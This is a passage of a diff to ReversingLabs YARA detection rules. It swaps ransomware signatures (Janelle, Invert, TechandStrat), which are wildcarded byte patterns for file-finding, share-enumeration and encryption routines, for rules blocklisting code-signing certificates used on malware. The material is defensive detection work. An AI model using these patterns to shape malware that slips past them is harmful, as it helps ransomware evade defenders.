?? 8B 8D ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B - F8 57 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? 33 C0 5A 59 59 - 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - $find_files = { - 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 89 55 ?? 89 45 ?? 8B 45 ?? 89 45 ?? 68 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? - ?? 89 C3 85 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 FF D3 85 C0 74 - ?? 8B 45 ?? 50 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 - ?? 80 38 ?? 75 ?? 8B 45 ?? 80 78 ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? E8 ?? ?? - ?? ?? 8B F0 80 3E ?? 0F 84 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F0 80 3E ?? 0F 84 - ?? ?? ?? ?? EB ?? 8B 75 ?? 83 C6 ?? 8B DE 2B 5D ?? 8D 43 ?? 50 8B 45 ?? 50 8D 85 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 46 ?? E8 ?? ?? ?? ?? 8B F8 8B C7 2B C6 - 03 C3 40 3D ?? ?? ?? ?? 0F 8F ?? ?? ?? ?? 8B C7 2B C6 40 50 56 8D 85 ?? ?? ?? ?? 03 - C3 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 89 45 - ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? - 8D 53 ?? 03 C2 40 3D ?? ?? ?? ?? 7F ?? C6 84 1D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C3 - 48 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 03 C3 40 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 40 03 D8 8B F7 80 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 8D 85 - ?? ?? ?? ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3 - } - $enum_resources = { - 55 8B EC 83 C4 ?? 53 56 57 33 D2 89 55 ?? 89 55 ?? 89 55 ?? 33 D2 55 68 ?? ?? ?? ?? - 64 FF 32 64 89 22 33 D2 55 68 ?? ?? ?? ?? 64 FF 32 64 89 22 8D 55 ?? 52 50 6A ?? 6A - ?? 6A ?? E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 33 C0 5A 59 59 64 89 10 E9 ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 6A ?? E8 ?? ?? ?? ?? 89 - 45 ?? 8D 45 ?? 50 8B 45 ?? 50 8D 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D - ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 48 85 C0 0F 82 ?? ?? ?? ?? 40 89 45 ?? 8B 45 ?? 8B - 58 ?? 85 DB 0F 84 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? 8B - D3 E8 ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? 0F B6 12 88 50 ?? C6 00 ?? 8D 55 ?? 8D 45 ?? E8 - ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? 0F B6 52 ?? 88 50 ?? C6 00 ?? 8D 55 ?? 8D 45 ?? B1 ?? - E8 ?? ?? ?? ?? 8D 55 ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 55 ?? B8 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8B 55 ?? 58 E8 ?? ?? ?? ?? 75 ?? A1 ?? ?? ?? ?? 8B 40 ?? 8B 55 ?? 8B - 08 FF 51 ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? F7 - 40 ?? ?? ?? ?? ?? 76 ?? 8B 45 ?? E8 ?? ?? ?? ?? 83 45 ?? ?? FF 4D ?? 0F 85 ?? ?? ?? - ?? EB ?? 81 7D ?? ?? ?? ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? EB ?? 8B 45 ?? 50 E8 - ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 33 C0 - 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? - ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALAIS, OOO" and pe.signatures [ i ] . serial == "33:67:1f:1b:cb:d0:f5:e2:31:fc:38:6f:48:95:00:0e" and 1491868800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Janelle : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_32Bc299F0694C19Ec21E71265B1D7E17 : INFO FILE { meta: - description = "Yara rule that detects Janelle ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4fef3be5-8332-5ce2-b1e9-3993e6963331" - date = "2021-12-16" - modified = "2021-12-16" + id = "fa2302c3-4002-5bf0-812b-45298abbda8d" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Janelle.yara#L1-L96" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13746-L13762" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "49f1eac82930606183ab9cf1d5c6c42534d58735876134793e9712e78eb5a4c7" + logic_hash = "cb522e3084d382c451a8b040095e75582675f90dbb588e370f2f0054f4c2d14b" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Janelle" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $setup_env_p1 = { - 00 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? - ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 08 6F - ?? ?? ?? ?? 74 ?? ?? ?? ?? 0D 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 6F - ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 00 08 6F ?? ?? ?? ?? 2D ?? DE ?? 08 75 ?? ?? ?? ?? 13 ?? - 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? 00 DC 02 7B ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 00 16 28 ?? - ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 FE 01 13 ?? 11 ?? 2C ?? 00 16 - 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? - ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 02 16 28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 6F ?? ?? ?? ?? 16 FE 02 16 FE 01 13 ?? 11 ?? 2C ?? 00 28 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? - 12 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? - ?? 00 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 23 ?? ?? ?? ?? ?? ?? ?? ?? 28 ?? ?? ?? - ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 02 - } - $setup_env_p2 = { - 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 28 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 2B ?? 00 16 28 ?? ?? ?? ?? 72 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 - 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 16 28 - ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 28 ?? ?? ?? ?? 02 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 00 06 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 16 28 ?? ?? ?? ?? - 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 28 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 - ?? 11 ?? 2C ?? 00 02 17 7D ?? ?? ?? ?? 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? - ?? 25 17 6F ?? ?? ?? ?? 00 6F ?? ?? ?? ?? 00 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 02 - 7B ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? - ?? ?? 00 00 2A - } - $find_files = { - 73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? ?? ?? 06 04 7D ?? ?? ?? ?? 06 05 7D ?? ?? ?? ?? 00 00 - 03 28 ?? ?? ?? ?? 0B 00 07 0C 16 0D 2B ?? 08 09 9A 13 ?? 00 02 11 ?? 06 7B ?? ?? ?? ?? - 28 ?? ?? ?? ?? 00 00 09 17 58 0D 09 08 8E 69 32 ?? 06 7B ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? - 00 00 00 03 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 06 7D ?? ?? - ?? ?? 11 ?? 11 ?? 11 ?? 9A 7D ?? ?? ?? ?? 00 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 - ?? ?? ?? ?? 25 17 6F ?? ?? ?? ?? 00 6F ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? - 8E 69 32 ?? 00 DE ?? 13 ?? 00 72 ?? ?? ?? ?? 03 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE - ?? 00 00 DE ?? 26 00 72 ?? ?? ?? ?? 03 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? 2A - } - $encrypt_files = { - 00 28 ?? ?? ?? ?? 0A 03 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 73 ?? ?? ?? ?? 0B 28 ?? ?? ?? - ?? 04 6F ?? ?? ?? ?? 0C 73 ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 20 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 00 09 18 6F ?? ?? ?? ?? 00 08 06 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? - 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 11 ?? 09 6F - ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 09 1A 6F ?? ?? ?? ?? 00 07 06 16 06 - 8E 69 6F ?? ?? ?? ?? 00 07 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 03 19 73 ?? ?? ?? - ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 00 2B ?? 00 28 ?? ?? ?? ?? 00 11 ?? 11 ?? - 16 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 25 13 ?? 16 FE - 02 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 13 ?? 00 72 ?? ?? ?? ?? 11 ?? 6F - ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? DE ?? 00 11 ?? 6F ?? ?? ?? ?? 00 - 07 6F ?? ?? ?? ?? 00 00 DC 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $setup_env_p* ) ) and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "32:bc:29:9f:06:94:c1:9e:c2:1e:71:26:5b:1d:7e:17" and 1474416000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Invert : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_7B75C6B0A09Afdb9787F6Dff75Ae7844 : INFO FILE { meta: - description = "Yara rule that detects Invert ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7ef77946-a902-5dc6-9b3c-b7b6a687eb96" - date = "2021-11-11" - modified = "2021-11-11" + id = "0b34c7ce-fa75-5340-a473-fa87fab93b86" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Invert.yara#L1-L66" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13764-L13780" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1608b8bbfc03b18a79752e60f211da7d7703862bc06b2ddf094074ae5efd0d14" + logic_hash = "8fd125a526b3433fbb8a5c6fa74ce0b0e2de8ff789880c355625d4140cd902a2" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Invert" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 73 ?? ?? ?? ?? 0A 06 04 7D ?? ?? ?? ?? 00 00 02 28 ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 25 2D - ?? 26 06 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 0C 7D ?? ?? ?? ?? 08 7E ?? ?? ?? ?? 25 - 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? - ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 - ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? - FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D - ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 2B ?? 07 6F ?? ?? ?? ?? 0D 00 00 09 03 28 ?? ?? - ?? ?? 13 ?? 11 ?? 2C ?? 00 7E ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 26 00 00 DE ?? 26 00 00 DE - ?? 00 07 6F ?? ?? ?? ?? 2D ?? DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 2A - } - $find_files = { - 00 73 ?? ?? ?? ?? 0A 00 28 ?? ?? ?? ?? 18 8D ?? ?? ?? ?? 25 16 28 ?? ?? ?? ?? A2 25 17 - 72 ?? ?? ?? ?? A2 17 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 2B ?? 12 ?? 28 ?? - ?? ?? ?? 0C 00 06 08 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE - ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 06 - 0D 2B ?? 09 2A - } - $get_file_list = { - 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 2C - ?? 00 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 38 ?? ?? - ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B - 00 00 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 12 ?? 28 ?? ?? ?? ?? 0D 00 07 09 6F ?? ?? - ?? ?? 00 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 - DC 00 DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 - ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 02 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F - ?? ?? ?? ?? 00 00 2A - } - condition: - uint16( 0 ) == 0x5A4D and ( $get_file_list ) and ( $find_files ) and ( $encrypt_files ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "7b:75:c6:b0:a0:9a:fd:b9:78:7f:6d:ff:75:ae:78:44" and 1476662400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Techandstrat : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_167Fd1295B3Bb102Dbb37292C838E7Cd : INFO FILE { meta: - description = "Yara rule that detects TechandStrat ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "525d0b48-2018-5848-b9e7-def8395254eb" - date = "2021-05-17" - modified = "2021-05-17" + id = "42cf5f07-4c43-567c-a517-42c898658ab8" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.TechandStrat.yara#L1-L106" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13782-L13798" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "80e201cf91adeee100e05af3ba5227fc61968bb6e0ce602107ba1217a7a62856" + logic_hash = "1cc7d441291fd9c4dc37320d411f94fb362523d47d37ab35c20b3ac9d4cd75cb" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "TechandStrat" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $enum_shares_p1 = { - 55 8B EC 83 EC ?? 53 56 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? C7 45 ?? ?? ?? - ?? ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF - 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8D 45 ?? 50 53 8D 45 ?? 50 FF - 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 - } - $enum_shares_p2 = { - 8D 46 ?? B9 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? FF 36 E8 ?? ?? ?? ?? 47 83 C6 ?? 3B - 7D ?? 72 ?? 8D 45 ?? 50 53 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 6A - ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 5E 5B 8B E5 - 5D C2 - } - $find_files = { - 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? - 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 - 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA ?? 75 ?? 8D 43 ?? 3B C8 74 ?? - 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF 80 FA ?? 74 ?? 80 FA ?? 74 ?? - 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 - C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? - ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 - 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D - ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? - ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ?? 80 F9 ?? 75 ?? 80 BD ?? - ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 8B 85 ?? ?? ?? ?? 75 - ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B FF 56 57 - 8B F9 8B 37 EB ?? FF 36 E8 ?? ?? ?? ?? 59 83 C6 ?? 3B 77 ?? 75 ?? FF 37 E8 ?? ?? ?? - ?? 59 5F 5E C3 - } - $encrypt_files_p1 = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 8B 75 ?? 8D 44 24 ?? 57 50 C6 44 - 24 ?? ?? FF 36 FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 4C 24 ?? 83 C4 ?? 8B - 44 24 ?? 81 E9 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 D8 ?? 6A ?? 6A ?? 50 51 FF 36 FF D7 - 6A ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 36 FF 15 ?? ?? ?? ?? - 81 BC 24 ?? ?? ?? ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 - D2 69 C0 ?? ?? ?? ?? 89 4C 24 ?? 8B 4C 24 ?? 89 8C 24 ?? ?? ?? ?? 83 C9 ?? 51 40 C7 - 44 24 ?? ?? ?? ?? ?? F7 F1 8D 84 24 